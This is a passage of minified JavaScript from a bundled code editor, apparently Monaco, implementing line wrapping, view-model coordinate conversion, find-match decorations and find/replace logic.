n>0?this.wrappedIndentLength+1:1},e.prototype.getViewLineMaxColumn=function(e,t,n){if(!this._isVisible)throw new Error(\"Not supported\");return this.getViewLineContent(e,t,n).length+1},e.prototype.getViewLineData=function(e,t,n){if(!this._isVisible)throw new Error(\"Not supported\");var i=this.getInputStartOffsetOfOutputLineIndex(n),o=this.getInputEndOffsetOfOutputLineIndex(e,t,n),r=e.getLineContent(t).substring(i,o);n>0&&(r=this.wrappedIndent+r);var a=n>0?this.wrappedIndentLength+1:1,u=r.length+1,l=0;n>0&&(l=this.wrappedIndentLength);var c=e.getLineTokens(t);return new s.ViewLineData(r,a,u,c.sliceAndInflate(i,o,l))},e.prototype.getViewLinesData=function(e,t,n,i,o,r,s){if(!this._isVisible)throw new Error(\"Not supported\");for(var a=n;a<i;a++){var u=o+a-n;r[u]?s[u]=this.getViewLineData(e,t,a):s[u]=null}},e.prototype.getModelColumnOfViewPosition=function(e,t){if(!this._isVisible)throw new Error(\"Not supported\");var n=t-1;return e>0&&(n<this.wrappedIndentLength?n=0:n-=this.wrappedIndentLength),this.positionMapper.getInputOffsetOfOutputPosition(e,n)+1},e.prototype.getViewPositionOfModelPosition=function(e,t){if(!this._isVisible)throw new Error(\"Not supported\");var i=this.positionMapper.getOutputPositionOfInputOffset(t-1),o=i.outputLineIndex,r=i.outputOffset+1;return o>0&&(r+=this.wrappedIndentLength),new n.Position(e+o,r)},e}();t.SplitLine=g;var m=function(){function e(e){this._lines=e}return e.prototype._validPosition=function(e){return this._lines.model.validatePosition(e)},e.prototype._validRange=function(e){return this._lines.model.validateRange(e)},e.prototype._validSelection=function(e){var t=this._validPosition(new n.Position(e.selectionStartLineNumber,e.selectionStartColumn)),o=this._validPosition(new n.Position(e.positionLineNumber,e.positionColumn));return new i.Selection(t.lineNumber,t.column,o.lineNumber,o.column)},e.prototype.convertViewPositionToModelPosition=function(e){return this._validPosition(e)},e.prototype.convertViewRangeToModelRange=function(e){return this._validRange(e)},e.prototype.convertViewSelectionToModelSelection=function(e){return this._validSelection(e)},e.prototype.validateViewPosition=function(e,t){return this._validPosition(t)},e.prototype.validateViewRange=function(e,t){return this._validRange(t)},e.prototype.convertModelPositionToViewPosition=function(e){return this._validPosition(e)},e.prototype.convertModelRangeToViewRange=function(e){return this._validRange(e)},e.prototype.convertModelSelectionToViewSelection=function(e){return this._validSelection(e)},e.prototype.modelPositionIsVisible=function(e){var t=this._lines.model.getLineCount();return!(e.lineNumber<1||e.lineNumber>t)},e}();t.IdentityCoordinatesConverter=m;var v=function(){function e(e){this.model=e}return e.prototype.dispose=function(){},e.prototype.createCoordinatesConverter=function(){return new m(this)},e.prototype.setHiddenAreas=function(e){return!1},e.prototype.setTabSize=function(e){return!1},e.prototype.setWrappingSettings=function(e,t,n){return!1},e.prototype.onModelFlushed=function(){},e.prototype.onModelLinesDeleted=function(e,t,n){return new a.ViewLinesDeletedEvent(t,n)},e.prototype.onModelLinesInserted=function(e,t,n,i){return new a.ViewLinesInsertedEvent(t,n)},e.prototype.onModelLineChanged=function(e,t,n){return[!1,new a.ViewLinesChangedEvent(t,t),null,null]},e.prototype.acceptVersionId=function(e){},e.prototype.getViewLineCount=function(){return this.model.getLineCount()},e.prototype.warmUpLookupCache=function(e,t){},e.prototype.getViewLineIndentGuide=function(e){return 0},e.prototype.getViewLineContent=function(e){return this.model.getLineContent(e)},e.prototype.getViewLineMinColumn=function(e){return this.model.getLineMinColumn(e)},e.prototype.getViewLineMaxColumn=function(e){return this.model.getLineMaxColumn(e)},e.prototype.getViewLineData=function(e){var t=this.model.getLineTokens(e),n=t.getLineContent();return new s.ViewLineData(n,1,n.length+1,t.inflate())},e.prototype.getViewLinesData=function(e,t,n){var i=this.model.getLineCount();e=Math.min(Math.max(1,e),i),t=Math.min(Math.max(1,t),i);for(var o=[],r=e;r<=t;r++){var s=r-e;n[s]||(o[s]=null),o[s]=this.getViewLineData(r)}return o},e}();t.IdentityLinesCollection=v}),define(d[329],h([1,0,9,104,179,89,96,49]),function(e,t,n,i,o,r,s,a){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var u;!function(e){e[e.NONE=0]=\"NONE\",e[e.BREAK_BEFORE=1]=\"BREAK_BEFORE\",e[e.BREAK_AFTER=2]=\"BREAK_AFTER\",e[e.BREAK_OBTRUSIVE=3]=\"BREAK_OBTRUSIVE\",e[e.BREAK_IDEOGRAPHIC=4]=\"BREAK_IDEOGRAPHIC\"}(u||(u={}));var l=function(e){function t(t,n,i){for(var o=e.call(this,0)||this,r=0;r<t.length;r++)o.set(t.charCodeAt(r),1);for(r=0;r<n.length;r++)o.set(n.charCodeAt(r),2);for(r=0;r<i.length;r++)o.set(i.charCodeAt(r),3);return o}return f(t,e),t.prototype.get=function(t){return t>=12352&&t<=12543||t>=13312&&t<=19903||t>=19968&&t<=40959?4:e.prototype.get.call(this,t)},t}(r.CharacterClassifier),c=function(){function e(e,t,n){this.classifier=new l(e,t,n)}return e.nextVisibleColumn=function(e,t,n,i){return e=+e,t=+t,i=+i,n?e+(t-e%t):e+i},e.prototype.createLineMapping=function(t,o,r,u,l){if(-1===r)return null;o=+o,r=+r,u=+u;var c=0,h=\"\",p=-1;if((l=+l)!==a.WrappingIndent.None&&-1!==(p=n.firstNonWhitespaceIndex(t))){h=t.substring(0,p);for(E=0;E<p;E++)c=e.nextVisibleColumn(c,o,9===t.charCodeAt(E),1);l===a.WrappingIndent.Indent&&(h+=\"\\t\",c=e.nextVisibleColumn(c,o,!0,1)),c>.5*r&&(h=\"\",c=0)}for(var f=this.classifier,g=0,m=[],v=0,_=0,y=-1,C=0,b=-1,w=0,S=t.length,E=0;E<S;E++){var L=t.charCodeAt(E),x=9===L,N=f.get(L);if(1===N&&(y=E,C=c),4===N&&E>0){var M=t.charCodeAt(E-1);1!==f.get(M)&&(y=E,C=c)}var T=1;if(n.isFullWidthCharacter(L)&&(T=u),(_=e.nextVisibleColumn(_,o,x,T))>r&&0!==E){var k=void 0,I=void 0;-1!==y&&C<=r?(k=y,I=C):-1!==b&&w<=r?(k=b,I=w):(k=E,I=c),m[v++]=k-g,g=k,_=e.nextVisibleColumn(I,o,x,T),y=-1,C=0,b=-1,w=0}if(-1!==y&&(C=e.nextVisibleColumn(C,o,x,T)),-1!==b&&(w=e.nextVisibleColumn(w,o,x,T)),2===N&&(l===a.WrappingIndent.None||E>=p)&&(y=E+1,C=c),4===N&&E<S-1){var D=t.charCodeAt(E+1);2!==f.get(D)&&(y=E+1,C=c)}3===N&&(b=E+1,w=c)}return 0===v?null:(m[v++]=S-g,new d(new i.PrefixSumComputer(s.toUint32Array(m)),h))},e}();t.CharacterHardWrappingLineMapperFactory=c;var d=function(){function e(e,t){this._prefixSums=e,this._wrappedLinesIndent=t}return e.prototype.getOutputLineCount=function(){return this._prefixSums.getCount()},e.prototype.getWrappedLinesIndent=function(){return this._wrappedLinesIndent},e.prototype.getInputOffsetOfOutputPosition=function(e,t){return 0===e?t:this._prefixSums.getAccumulatedValue(e-1)+t},e.prototype.getOutputPositionOfInputOffset=function(e){var t=this._prefixSums.getIndexOf(e);return new o.OutputPosition(t.index,t.remainder)},e}();t.CharacterHardWrappingLineMapping=d}),define(d[330],h([1,0,9,12,2,20,17,122,240,86,179,57,111,55,329,239]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p,g,m){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var v=!0,_=function(e){function t(t,n,i){var o=e.call(this)||this;if(o.editorId=t,o.configuration=n,o.model=i,v&&o.model.isTooLargeForTokenization())o.lines=new c.IdentityLinesCollection(o.model);else{var r=o.configuration.editor,s=new g.CharacterHardWrappingLineMapperFactory(r.wrappingInfo.wordWrapBreakBeforeCharacters,r.wrappingInfo.wordWrapBreakAfterCharacters,r.wrappingInfo.wordWrapBreakObtrusiveCharacters);o.lines=new c.SplitLinesCollection(o.model,s,o.model.getOptions().tabSize,r.wrappingInfo.wrappingColumn,r.fontInfo.typicalFullwidthCharacterWidth/r.fontInfo.typicalHalfwidthCharacterWidth,r.wrappingInfo.wrappingIndent)}return o.coordinatesConverter=o.lines.createCoordinatesConverter(),o.viewLayout=o._register(new m.ViewLayout(o.configuration,o.getLineCount())),o._register(o.viewLayout.onDidScroll(function(e){o._emit([new d.ViewScrollChangedEvent(e)])})),o._isDisposing=!1,o._centeredViewLine=-1,o.decorations=new u.ViewModelDecorations(o.editorId,o.model,o.configuration,o.coordinatesConverter),o._register(o.model.addBulkListener(function(e){if(!o._isDisposing){var t=new l.ViewEventsCollector;o._onModelEvents(t,e),o._emit(t.finalize())}})),o._register(o.configuration.onDidChange(function(e){var t=new l.ViewEventsCollector;o._onConfigurationChanged(t,e),o._emit(t.finalize())})),o._register(h.MinimapTokensColorTracker.getInstance().onDidChange(function(){o._emit([new d.ViewTokensColorsChangedEvent])})),o}return f(t,e),t.prototype.dispose=function(){this._isDisposing=!0,this.decorations.dispose(),this.lines.dispose(),e.prototype.dispose.call(this)},t.prototype._onConfigurationChanged=function(e,t){var n=this.getCenteredRangeInViewport(),i=!1,o=this.configuration.editor;if(this.lines.setWrappingSettings(o.wrappingInfo.wrappingIndent,o.wrappingInfo.wrappingColumn,o.fontInfo.typicalFullwidthCharacterWidth/o.fontInfo.typicalHalfwidthCharacterWidth)&&(e.emit(new d.ViewFlushedEvent),e.emit(new d.ViewLineMappingChangedEvent),e.emit(new d.ViewDecorationsChangedEvent),this.decorations.onLineMappingChanged(),this.viewLayout.onFlushed(this.getLineCount()),0!==this.viewLayout.getScrollTop()&&(i=!0)),t.readOnly&&(this.decorations.reset(),e.emit(new d.ViewDecorationsChangedEvent)),e.emit(new d.ViewConfigurationChangedEvent(t)),this.viewLayout.onConfigurationChanged(t),i&&n){var r=this.coordinatesConverter.convertModelRangeToViewRange(n);e.emit(new d.ViewRevealRangeRequestEvent(r,1,!1))}},t.prototype._onModelEvents=function(e,t){for(var n=0,o=t.length;n<o;n++)if(t[n].type===p.TextModelEventType.ModelRawContentChanged2){this._centeredViewLine=-1,this.configuration.setMaxLineNumber(this.model.getLineCount());break}for(var r=!1,s=!1,n=0,o=t.length;n<o;n++){var a=t[n],u=a.type,l=a.data;switch(u){case p.TextModelEventType.ModelRawContentChanged2:for(var c=(x=l).changes,h=x.versionId,f=0,g=c.length;f<g;f++){var m=c[f];switch(m.changeType){case 1:this.lines.onModelFlushed(),e.emit(new d.ViewFlushedEvent),this.decorations.reset(),this.viewLayout.onFlushed(this.getLineCount()),r=!0;break;case 3:null!==(b=this.lines.onModelLinesDeleted(h,m.fromLineNumber,m.toLineNumber))&&(e.emit(b),this.viewLayout.onLinesDeleted(b.fromLineNumber,b.toLineNumber)),r=!0;break;case 4:null!==(C=this.lines.onModelLinesInserted(h,m.fromLineNumber,m.toLineNumber,m.detail.split(\"\\n\")))&&(e.emit(C),this.viewLayout.onLinesInserted(C.fromLineNumber,C.toLineNumber)),r=!0;break;case 2:var v=this.lines.onModelLineChanged(h,m.lineNumber,m.detail),_=v[0],y=v[1],C=v[2],b=v[3];s=_,y&&e.emit(y),C&&(e.emit(C),this.viewLayout.onLinesInserted(C.fromLineNumber,C.toLineNumber)),b&&(e.emit(b),this.viewLayout.onLinesDeleted(b.fromLineNumber,b.toLineNumber))}}this.lines.acceptVersionId(h);break;case p.TextModelEventType.ModelTokensChanged:for(var w=[],f=0,g=(x=l).ranges.length;f<g;f++){var S=x.ranges[f],E=this.coordinatesConverter.convertModelPositionToViewPosition(new i.Position(S.fromLineNumber,1)).lineNumber,L=this.coordinatesConverter.convertModelPositionToViewPosition(new i.Position(S.toLineNumber,this.model.getLineMaxColumn(S.toLineNumber))).lineNumber;w[f]={fromLineNumber:E,toLineNumber:L}}e.emit(new d.ViewTokensChangedEvent(w));break;case p.TextModelEventType.ModelLanguageChanged:case p.TextModelEventType.ModelContentChanged:break;case p.TextModelEventType.ModelOptionsChanged:this.lines.setTabSize(this.model.getOptions().tabSize)&&(e.emit(new d.ViewFlushedEvent),e.emit(new d.ViewLineMappingChangedEvent),e.emit(new d.ViewDecorationsChangedEvent),this.decorations.onLineMappingChanged(),this.viewLayout.onFlushed(this.getLineCount()));break;case p.TextModelEventType.ModelDecorationsChanged:var x=l;this.decorations.onModelDecorationsChanged(x),e.emit(new d.ViewDecorationsChangedEvent);break;case p.TextModelEventType.ModelDispose:break;default:console.info(\"View received unknown event: \"),console.info(u,l)}}!r&&s&&(e.emit(new d.ViewLineMappingChangedEvent),e.emit(new d.ViewDecorationsChangedEvent),this.decorations.onLineMappingChanged())},t.prototype.setHiddenAreas=function(e){var t=new l.ViewEventsCollector;this.lines.setHiddenAreas(e)&&(t.emit(new d.ViewFlushedEvent),t.emit(new d.ViewLineMappingChangedEvent),t.emit(new d.ViewDecorationsChangedEvent),this.decorations.onLineMappingChanged(),this.viewLayout.onFlushed(this.getLineCount())),this._emit(t.finalize())},t.prototype.getCenteredRangeInViewport=function(){if(-1===this._centeredViewLine)return null;var e=this._centeredViewLine,t=new o.Range(e,this.getLineMinColumn(e),e,this.getLineMaxColumn(e));return this.coordinatesConverter.convertViewRangeToModelRange(t)},t.prototype.getCompletelyVisibleViewRange=function(){var e=this.viewLayout.getLinesViewportData(),t=e.completelyVisibleStartLineNumber,n=e.completelyVisibleEndLineNumber;return new o.Range(t,this.getLineMinColumn(t),n,this.getLineMaxColumn(n))},t.prototype.getCompletelyVisibleViewRangeAtScrollTop=function(e){var t=this.viewLayout.getLinesViewportDataAtScrollTop(e),n=t.completelyVisibleStartLineNumber,i=t.completelyVisibleEndLineNumber;return new o.Range(n,this.getLineMinColumn(n),i,this.getLineMaxColumn(i))},t.prototype.getTabSize=function(){return this.model.getOptions().tabSize},t.prototype.getLineCount=function(){return this.lines.getViewLineCount()},t.prototype.setViewport=function(e,t,n){this._centeredViewLine=n,this.lines.warmUpLookupCache(e,t)},t.prototype.getLineIndentGuide=function(e){return this.lines.getViewLineIndentGuide(e)},t.prototype.getLineContent=function(e){return this.lines.getViewLineContent(e)},t.prototype.getLineMinColumn=function(e){return this.lines.getViewLineMinColumn(e)},t.prototype.getLineMaxColumn=function(e){return this.lines.getViewLineMaxColumn(e)},t.prototype.getLineFirstNonWhitespaceColumn=function(e){var t=n.firstNonWhitespaceIndex(this.getLineContent(e));return-1===t?0:t+1},t.prototype.getLineLastNonWhitespaceColumn=function(e){var t=n.lastNonWhitespaceIndex(this.getLineContent(e));return-1===t?0:t+2},t.prototype.getDecorationsInViewport=function(e){return this.decorations.getDecorationsViewportData(e).decorations},t.prototype.getViewLineRenderingData=function(e,t){var n=this.model.mightContainRTL(),i=this.model.mightContainNonBasicASCII(),o=this.getTabSize(),r=this.lines.getViewLineData(t),s=this.decorations.getDecorationsViewportData(e).inlineDecorations[t-e.startLineNumber];return new l.ViewLineRenderingData(r.minColumn,r.maxColumn,r.content,n,i,r.tokens,s,o)},t.prototype.getMinimapLinesRenderingData=function(e,t,n){var i=this.lines.getViewLinesData(e,t,n);return new l.MinimapLinesRenderingData(this.getTabSize(),i)},t.prototype.getAllOverviewRulerDecorations=function(){return this.decorations.getAllOverviewRulerDecorations()},t.prototype.getValueInRange=function(e,t){var n=this.coordinatesConverter.convertViewRangeToModelRange(e);return this.model.getValueInRange(n,t)},t.prototype.getModelLineMaxColumn=function(e){return this.model.getLineMaxColumn(e)},t.prototype.validateModelPosition=function(e){return this.model.validatePosition(e)},t.prototype.getPlainTextToCopy=function(e,t){var n=this.model.getEOL();if(1===e.length){var s=e[0];if(s.isEmpty()){if(t){var a=this.coordinatesConverter.convertViewPositionToModelPosition(new i.Position(s.startLineNumber,1)).lineNumber;return this.model.getLineContent(a)+n}return\"\"}return this.getValueInRange(s,r.EndOfLinePreference.TextDefined)}e=e.slice(0).sort(o.Range.compareRangesUsingStarts);for(var u=[],l=0;l<e.length;l++)u.push(this.getValueInRange(e[l],r.EndOfLinePreference.TextDefined));return u.join(n)},t.prototype.getHTMLToCopy=function(e,t){if(1===this.model.getLanguageIdentifier().id)return null;if(1!==e.length)return null;var n=this.coordinatesConverter.convertViewRangeToModelRange(e[0]);if(n.isEmpty()){if(!t)return null;var i=n.startLineNumber;n=new o.Range(i,this.model.getLineMinColumn(i),i,this.model.getLineMaxColumn(i))}var r=this.configuration.editor.fontInfo,s=this._getColorMap();return'<div style=\"color: '+s[1]+\";background-color: \"+s[2]+\";font-family: \"+r.fontFamily+\";font-weight: \"+r.fontWeight+\";font-size: \"+r.fontSize+\"px;line-height: \"+r.lineHeight+'px;white-space: pre;\">'+this._getHTMLToCopy(n,s)+\"</div>\"},t.prototype._getHTMLToCopy=function(e,t){for(var n=e.startLineNumber,i=e.startColumn,o=e.endLineNumber,r=e.endColumn,s=this.getTabSize(),u=\"\",l=n;l<=o;l++){var c=this.model.getLineTokens(l),d=c.getLineContent(),h=l===n?i-1:0,p=l===o?r-1:d.length;u+=\"\"===d?\"<br>\":a.tokenizeLineToHTML(d,c.inflate(),t,h,p,s)}return u},t.prototype._getColorMap=function(){for(var e=s.TokenizationRegistry.getColorMap(),t=[null],n=1,i=e.length;n<i;n++)t[n]=e[n].toRGBHex();return t},t}(d.ViewEventEmitter);t.ViewModel=_}),define(d[331],h([1,0,20,34]),function(e,t,n,i){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0});var o=function(){function e(e){this._editor=e,this._decorations=[],this._findScopeDecorationId=null,this._rangeHighlightDecorationId=null,this._highlightedDecorationId=null,this._startPosition=this._editor.getPosition()}return e.prototype.dispose=function(){this._editor.deltaDecorations(this._allDecorations(),[]),this._editor=null,this._decorations=[],this._findScopeDecorationId=null,this._rangeHighlightDecorationId=null,this._highlightedDecorationId=null,this._startPosition=null},e.prototype.reset=function(){this._decorations=[],this._findScopeDecorationId=null,this._rangeHighlightDecorationId=null,this._highlightedDecorationId=null},e.prototype.getCount=function(){return this._decorations.length},e.prototype.getFindScope=function(){return this._findScopeDecorationId?this._editor.getModel().getDecorationRange(this._findScopeDecorationId):null},e.prototype.getStartPosition=function(){return this._startPosition},e.prototype.setStartPosition=function(e){this._startPosition=e,this.setCurrentFindMatch(null)},e.prototype.getCurrentMatchesPosition=function(e){for(var t=0,n=this._decorations.length;t<n;t++){var i=this._editor.getModel().getDecorationRange(this._decorations[t]);if(e.equalsRange(i))return t+1}return 1},e.prototype.setCurrentFindMatch=function(t){var n=this,i=null,o=0;if(t)for(var r=0,s=this._decorations.length;r<s;r++){var a=this._editor.getModel().getDecorationRange(this._decorations[r]);if(t.equalsRange(a)){i=this._decorations[r],o=r+1;break}}return null===this._highlightedDecorationId&&null===i||this._editor.changeDecorations(function(t){if(null!==n._highlightedDecorationId&&(t.changeDecorationOptions(n._highlightedDecorationId,e.createFindMatchDecorationOptions(!1)),n._highlightedDecorationId=null),null!==i&&(n._highlightedDecorationId=i,t.changeDecorationOptions(n._highlightedDecorationId,e.createFindMatchDecorationOptions(!0))),null!==n._rangeHighlightDecorationId&&(t.removeDecoration(n._rangeHighlightDecorationId),n._rangeHighlightDecorationId=null),null!==i){var o=n._editor.getModel().getDecorationRange(i);n._rangeHighlightDecorationId=t.addDecoration(o,e._RANGE_HIGHLIGHT_DECORATION)}}),o},e.prototype.set=function(t,n){var i=t.map(function(t){return{range:t,options:e.createFindMatchDecorationOptions(!1)}});n&&i.unshift({range:n,options:e._FIND_SCOPE_DECORATION});var o=this._editor.deltaDecorations(this._allDecorations(),i);this._findScopeDecorationId=n?o.shift():null,this._decorations=o,this._rangeHighlightDecorationId=null,this._highlightedDecorationId=null},e.prototype._allDecorations=function(){var e=[];return e=e.concat(this._decorations),this._findScopeDecorationId&&e.push(this._findScopeDecorationId),this._rangeHighlightDecorationId&&e.push(this._rangeHighlightDecorationId),e},e.createFindMatchDecorationOptions=function(e){return e?this._CURRENT_FIND_MATCH_DECORATION:this._FIND_MATCH_DECORATION},e._CURRENT_FIND_MATCH_DECORATION=i.ModelDecorationOptions.register({stickiness:n.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"currentFindMatch\",showIfCollapsed:!0,overviewRuler:{color:\"rgba(246, 185, 77, 0.7)\",darkColor:\"rgba(246, 185, 77, 0.7)\",position:n.OverviewRulerLane.Center}}),e._FIND_MATCH_DECORATION=i.ModelDecorationOptions.register({stickiness:n.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"findMatch\",showIfCollapsed:!0,overviewRuler:{color:\"rgba(246, 185, 77, 0.7)\",darkColor:\"rgba(246, 185, 77, 0.7)\",position:n.OverviewRulerLane.Center}}),e._RANGE_HIGHLIGHT_DECORATION=i.ModelDecorationOptions.register({stickiness:n.TrackedRangeStickiness.NeverGrowsWhenTypingAtEdges,className:\"rangeHighlight\",isWholeLine:!0}),e._FIND_SCOPE_DECORATION=i.ModelDecorationOptions.register({className:\"findScope\",isWholeLine:!0}),e}();t.FindDecorations=o}),define(d[121],h([1,0,18,3,255,73,12,2,20,331,254,22,158,54]),function(e,t,n,i,o,r,s,a,u,l,c,d,h,p){\"use strict\";Object.defineProperty(t,\"__esModule\",{value:!0}),t.ToggleCaseSensitiveKeybinding={primary:545,mac:{primary:2593}},t.ToggleWholeWordKeybinding={primary:565,mac:{primary:2613}},t.ToggleRegexKeybinding={primary:560,mac:{primary:2608}},t.ToggleSearchScopeKeybinding={primary:554,mac:{primary:2602}},t.ShowPreviousFindTermKeybinding={primary:528},t.ShowNextFindTermKeybinding={primary:530},t.FIND_IDS={StartFindAction:\"actions.find\",NextMatchFindAction:\"editor.action.nextMatchFindAction\",PreviousMatchFindAction:\"editor.action.previousMatchFindAction\",NextSelectionMatchFindAction:\"editor.action.nextSelectionMatchFindAction\",PreviousSelectionMatchFindAction:\"editor.action.previousSelectionMatchFindAction\",AddSelectionToNextFindMatchAction:\"editor.action.addSelectionToNextFindMatch\",AddSelectionToPreviousFindMatchAction:\"editor.action.addSelectionToPreviousFindMatch\",MoveSelectionToNextFindMatchAction:\"editor.action.moveSelectionToNextFindMatch\",MoveSelectionToPreviousFindMatchAction:\"editor.action.moveSelectionToPreviousFindMatch\",StartFindReplaceAction:\"editor.action.startFindReplaceAction\",CloseFindWidgetCommand:\"closeFindWidget\",ToggleCaseSensitiveCommand:\"toggleFindCaseSensitive\",ToggleWholeWordCommand:\"toggleFindWholeWord\",ToggleRegexCommand:\"toggleFindRegex\",ToggleSearchScopeCommand:\"toggleFindInSelection\",ReplaceOneAction:\"editor.action.replaceOne\",ReplaceAllAction:\"editor.action.replaceAll\",SelectAllMatchesAction:\"editor.action.selectAllMatches\",ShowPreviousFindTermAction:\"find.history.showPrevious\",ShowNextFindTermAction:\"find.history.showNext\"},t.MATCHES_LIMIT=999;var f=function(){function e(e,t){var i=this;this._editor=e,this._state=t,this._toDispose=[],this._isDisposed=!1,this._decorations=new l.FindDecorations(e),this._toDispose.push(this._decorations),this._updateDecorationsScheduler=new n.RunOnceScheduler(function(){return i.research(!1)},100),this._toDispose.push(this._updateDecorationsScheduler),this._toDispose.push(this._editor.onDidChangeCursorPosition(function(e){e.reason!==p.CursorChangeReason.Explicit&&e.reason!==p.CursorChangeReason.Undo&&e.reason!==p.CursorChangeReason.Redo||i._decorations.setStartPosition(i._editor.getPosition())})),this._ignoreModelContentChanged=!1,this._toDispose.push(this._editor.onDidChangeModelContent(function(e){i._ignoreModelContentChanged||(e.isFlush&&i._decorations.reset(),i._decorations.setStartPosition(i._editor.getPosition()),i._updateDecorationsScheduler.schedule())})),this._toDispose.push(this._state.addChangeListener(function(e){return i._onStateChanged(e)})),this.research(!1,this._state.searchScope)}return e.prototype.dispose=function(){this._isDisposed=!0,this._toDispose=i.dispose(this._toDispose)},e.prototype._onStateChanged=function(e){this._isDisposed||(e.searchString||e.isReplaceRevealed||e.isRegex||e.wholeWord||e.matchCase||e.searchScope)&&(e.searchScope?this.research(e.moveCursor,this._state.searchScope):this.research(e.moveCursor))},e._getSearchRange=function(e,t,n){var i;return i=t?e.getEditableRange():e.getFullModelRange(),n&&(i=i.intersectRanges(n)),i},e.prototype.research=function(e,n){var i=null;null!==(i=void 0!==n?n:this._decorations.getFindScope())&&i.startLineNumber!==i.endLineNumber&&(i=new a.Range(i.startLineNumber,1,i.endLineNumber,this._editor.getModel().getLineMaxColumn(i.endLineNumber)));var o=this._findMatches(i,!1,t.MATCHES_LIMIT);this._decorations.set(o.map(function(e){return e.range}),i),this._state.changeMatchInfo(this._decorations.getCurrentMatchesPosition(this._editor.getSelection()),this._decorations.getCount(),void 0),e&&this._moveToNextMatch(this._decorations.getStartPosition())},e.prototype._hasMatches=function(){return this._state.matchesCount>0},e.prototype._cannotFind=function(){if(!this._hasMatches()){var e=this._decorations.getFindScope();return e&&this._editor.revealRangeInCenterIfOutsideViewport(e),!0}return!1},e.prototype._setCurrentFindMatch=function(e){var t=this._decorations.setCurrentFindMatch(e);this._state.changeMatchInfo(t,this._decorations.getCount(),e),this._editor.setSelection(e),this._editor.revealRangeInCenterIfOutsideViewport(e)},e.prototype._moveToPrevMatch=function(t,n){if(void 0===n&&(n=!1),!this._cannotFind()){var i=this._decorations.getFindScope(),o=e._getSearchRange(this._editor.getModel(),this._state.isReplaceRevealed,i);o.getEndPosition().isBefore(t)&&(t=o.getEndPosition()),t.isBefore(o.getStartPosition())&&(t=o.getEndPosition());var r=t.lineNumber,a=t.column,u=this._editor.getModel(),l=new s.Position(r,a),c=u.findPreviousMatch(this._state.searchString,l,this._state.isRegex,this._state.matchCase,this._state.wholeWord?this._editor.getConfiguration().wordSeparators:null,!1);return c&&c.range.isEmpty()&&c.range.getStartPosition().equals(l)&&(this._state.isRegex&&(this._state.searchString.indexOf(\"^\")>=0||this._state.searchString.indexOf(\"$\")>=0)||1===a?(1===r?r=u.getLineCount():r--,a=u.getLineMaxColumn(r)):a--,l=new s.Position(r,a),c=u.findPreviousMatch(this._state.searchString,l,this._state.isRegex,this._state.matchCase,this._state.wholeWord?this._editor.getConfiguration().wordSeparators:null,!1)),c?n||o.containsRange(c.range)?void this._setCurrentFindMatch(c.range):this._moveToPrevMatch(c.range.getStartPosition(),!0):null}},e.prototype.moveToPrevMatch=function(){this._moveToPrevMatch(this._editor.getSelection().getStartPosition())},e.prototype._moveToNextMatch=function(e){var t=this._getNextMatch(e,!1,!0);t&&this._setCurrentFindMatch(t.range)},e.prototype._getNextMatch=function(t,n,i,o){if(void 0===o&&(o=!1),this._cannotFind())return null;var r=this._decorations.getFindScope(),a=e._getSearchRange(this._editor.getModel(),this._state.isReplaceRevealed,r);a.getEndPosition().isBefore(t)&&(t=a.getStartPosition()),t.isBefore(a.getStartPosition())&&(t=a.getStartPosition());var u=t.lineNumber,l=t.column,c=this._editor.getModel(),d=new s.Position(u,l),h=c.findNextMatch(this._state.searchString,d,this._state.isRegex,this._state.matchCase,this._state.wholeWord?this._editor.getConfiguration().wordSeparators:null,n);return i&&h&&h.range.isEmpty()&&h.range.getStartPosition().equals(d)&&(this._state.isRegex&&(this._state.searchString.indexOf(\"^\")>=0||this._state.searchString.indexOf(\"$\")>=0)||l===c.getLineMaxColumn(u)?(u===c.getLineCount()?u=1:u++,l=1):l++,d=new s.Position(u,l),h=c.findNextMatch(this._state.searchString,d,this._state.isRegex,this._state.matchCase,this._state.wholeWord?this._editor.getConfiguration().wordSeparators:null,n)),h?o||a.containsRange(h.range)?h:this._getNextMatch(h.range.getEndPosition(),n,i,!0):null},e.prototype.moveToNextMatch=function(){this._moveToNextMatch(this._editor.getSelection().getEndPosition())},e.prototype._getReplacePattern=function(){return this._state.isRegex?o.parseReplaceString(this._state.replaceString):o.ReplacePattern.fromStaticValue(this._state.replaceString)},e.prototype.replace=function(){if(this._hasMatches()){var e=this._getReplacePattern(),t=this._editor.getSelection(),n=this._getNextMatch(t.getStartPosition(),e.hasReplacementPatterns,!1);if(n)if(t.equalsRange(n.range)){var i=e.buildReplaceString(n.matches),o=new r.ReplaceCommand(t,i);this._executeEditorCommand(\"replace\",o),this._decorations.setStartPosition(new s.Position(t.startLineNumber,t.startColumn+i.length)),this.research(!0)}else this._decorations.setStartPosition(this._editor.getPosition()),this._setCurrentFindMatch(n.range)}},e.prototype._findMatches=function(t,n,i){var o=e._getSearchRange(this._editor.getModel(),this._state.isReplaceRevealed,t);return this._editor.getModel().findMatches(this._state.searchString,o,this._state.isRegex,this._state.matchCase,this._state.wholeWord?this._editor.getConfiguration().wordSeparators:null,n,i)},e.prototype.replaceAll=function(){if(this._hasMatches()){var e=this._decorations.getFindScope();null===e&&this._state.matchesCount>=t.MATCHES_LIMIT?this._largeReplaceAll():this._regularReplaceAll(e),this.research(!1)}},e.prototype._largeReplaceAll=function(){var e=new h.SearchParams(this._state.searchString,this._state.isRegex,this._state.matchCase,this._state.wholeWord?this._editor.getConfiguration().wordSeparators:null).parseSearchRequest();if(e){var t,n=this._editor.getModel(),i=n.getValue(u.EndOfLinePreference.LF),o=n.getFullModelRange(),s=this._getReplacePattern();t=s.hasReplacementPatterns?i.replace(e.regex,function(){return s.buildReplaceString(arguments)}):i.replace(e.regex,s.buildReplaceString(null));var a=new r.ReplaceCommandThatPreservesSelection(o,t,this._editor.getSelection());this._executeEditorCommand(\"replaceAll\",a)}},e.prototype._regularReplaceAll=function(e){for(var t=this._getReplacePattern(),n=this._findMatches(e,t.hasReplacementPatterns,1073741824),i=[],o=0,r=n.length;o<r;o++)i[o]=t.buildReplaceString(n[o].matches);var s=new c.ReplaceAllCommand(this._editor.getSelection(),n.map(function(e){return e.range}),i);this._executeEditorCommand(\"replaceAll\",s)},e.prototype.selectAllMatches=function(){if(this._hasMatches()){for(var e=this._decorations.getFindScope(),t=this._findMatches(e,!1,1073741824).map(function(e){return new 